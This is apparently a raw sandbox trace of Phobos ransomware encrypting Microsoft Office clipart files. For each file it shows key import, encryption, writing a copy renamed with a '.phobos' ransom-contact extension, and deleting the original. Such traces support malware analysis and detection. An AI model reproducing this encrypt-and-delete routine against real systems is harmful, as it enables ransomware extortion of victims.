[0134.070] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.070] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.070] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.070] CryptDestroyKey (hKey=0x7530d8) returned 1 [0134.070] CloseHandle (hObject=0x310) returned 1 [0134.070] CloseHandle (hObject=0x30c) returned 1 [0134.070] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0134.071] SetEvent (hEvent=0x2b8) returned 1 [0134.071] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.071] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2332) returned 1 [0134.071] CloseHandle (hObject=0x30c) returned 1 [0134.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0134.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.072] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.072] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.072] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f18) returned 1 [0134.072] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.072] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x91c, lpOverlapped=0x0) returned 1 [0134.087] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x920, dwBufLen=0x920 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x920) returned 1 [0134.087] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x920, lpOverlapped=0x0) returned 1 [0134.089] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d18) returned 1 [0134.089] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.089] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.089] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.089] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.089] CryptDestroyKey (hKey=0x752f18) returned 1 [0134.089] CloseHandle (hObject=0x30c) returned 1 [0134.089] CloseHandle (hObject=0x310) returned 1 [0134.089] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0134.090] SetEvent (hEvent=0x2b8) returned 1 [0134.090] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.090] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=30414) returned 1 [0134.090] CloseHandle (hObject=0x310) returned 1 [0134.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0134.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.090] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.090] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.091] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0134.091] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.091] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x76ce, lpOverlapped=0x0) returned 1 [0134.204] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x76d0, dwBufLen=0x76d0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x76d0) returned 1 [0134.204] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x76d0, lpOverlapped=0x0) returned 1 [0134.208] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752e18) returned 1 [0134.208] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.208] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.208] CryptDestroyKey (hKey=0x752e18) returned 1 [0134.208] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.208] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.208] CloseHandle (hObject=0x310) returned 1 [0134.208] CloseHandle (hObject=0x30c) returned 1 [0134.208] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0134.209] SetEvent (hEvent=0x2b8) returned 1 [0134.209] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.209] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=31180) returned 1 [0134.209] CloseHandle (hObject=0x30c) returned 1 [0134.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0134.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.210] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.210] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.210] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753198) returned 1 [0134.210] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.210] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x79cc, lpOverlapped=0x0) returned 1 [0134.438] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x79d0, dwBufLen=0x79d0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x79d0) returned 1 [0134.438] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x79d0, lpOverlapped=0x0) returned 1 [0134.439] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d18) returned 1 [0134.439] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.439] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.439] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.439] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.439] CryptDestroyKey (hKey=0x753198) returned 1 [0134.439] CloseHandle (hObject=0x30c) returned 1 [0134.439] CloseHandle (hObject=0x310) returned 1 [0134.439] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0134.440] SetEvent (hEvent=0x2b8) returned 1 [0134.441] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.441] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3696) returned 1 [0134.441] CloseHandle (hObject=0x310) returned 1 [0134.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0134.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.441] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.441] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.442] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e18) returned 1 [0134.442] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.442] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xe70, lpOverlapped=0x0) returned 1 [0134.485] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xe80, dwBufLen=0xe80 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xe80) returned 1 [0134.485] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xe80, lpOverlapped=0x0) returned 1 [0134.486] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x7531d8) returned 1 [0134.486] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.486] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.486] CryptDestroyKey (hKey=0x7531d8) returned 1 [0134.486] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.486] CryptDestroyKey (hKey=0x752e18) returned 1 [0134.486] CloseHandle (hObject=0x310) returned 1 [0134.486] CloseHandle (hObject=0x30c) returned 1 [0134.486] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0134.487] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.487] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2636) returned 1 [0134.487] CloseHandle (hObject=0x30c) returned 1 [0134.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0134.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.488] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.488] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.488] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0134.488] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.488] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xa4c, lpOverlapped=0x0) returned 1 [0134.499] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa50, dwBufLen=0xa50 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa50) returned 1 [0134.499] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xa50, lpOverlapped=0x0) returned 1 [0134.500] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0134.500] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.500] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.500] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.500] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.500] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.500] CloseHandle (hObject=0x30c) returned 1 [0134.500] CloseHandle (hObject=0x310) returned 1 [0134.501] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0134.501] SetEvent (hEvent=0x2b8) returned 1 [0134.501] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.502] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3128) returned 1 [0134.502] CloseHandle (hObject=0x310) returned 1 [0134.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0134.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.502] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 